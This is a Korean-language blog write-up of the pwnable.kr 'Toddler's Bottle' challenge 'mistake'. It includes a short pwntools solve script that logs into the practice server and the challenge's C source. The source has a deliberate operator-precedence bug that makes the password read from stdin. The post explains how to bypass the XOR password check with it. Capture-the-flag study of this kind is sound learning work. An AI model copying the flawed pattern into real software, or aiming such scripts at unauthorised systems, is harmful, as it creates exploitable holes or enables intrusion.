security/포너블 - pwnable.kr

pwnable.kr - [Toddler's Bottle] mistake

민사민서 2023. 2. 5. 22:34
from pwn import *

s = ssh(user="mistake", host="pwnable.kr", port=2222, password="guest")
p = s.process(executable="/home/mistake/mistake")

p.send('C'*10)
p.sendlineafter('input password : ', 'B'*10)

p.interactive()

 

<코드>
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
   int i;
   for(i=0; i<len; i++){
      s[i] ^= XORKEY;
   }
}

int main(int argc, char* argv[]){
   
   int fd;
   if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
      printf("can't open password %d\n", fd);
      return 0;
   }

   printf("do not bruteforce...\n");
   sleep(time(0)%20);

   char pw_buf[PW_LEN+1];
   int len;
   if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
      printf("read error\n");
      close(fd);
      return 0;     
   }

   char pw_buf2[PW_LEN+1];
   printf("input password : ");
   scanf("%10s", pw_buf2);

   // xor your input
   xor(pw_buf2, 10);

   if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
      printf("Password OK\n");
      system("/bin/cat flag\n");
   }
   else{
      printf("Wrong Password\n");
   }

   close(fd);
   return 0;
}

<분석>
우리가 건들수 있는 것: input password 이후부터,,
xor(pw_buf2, 10) 하면서 아스키값 홀수면 -1, 짝수면 +1 된다
***
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)
- c언어에서는 대입연산자 우선순위 거의 제일 낮음
- open 성공해서 fd(아마 3) 리턴되는데 3<0은 false이므로 fd에는 0 저장
- if 분기 기준은 fd 값이므로 false로 print문 실행 안됨
***
if(!(len=read(fd,pw_buf,PW_LEN) > 0))
- read 반환값은 읽어온 byte수, 근데 0(stdin)에서 읽어들인다 ㅋㅋ
- 우리가 입력값 주면 마찬가지 > 0 비교 연산 수행되고 len에는 1 대입
- if문 실행 안되고 통과
***
'B'=66 -> xor 함수 통과시 'C'가 된다
stdin으로 'CCCCCCCCCC' 넣고 우리의 input은 'BBBBBBBBBB'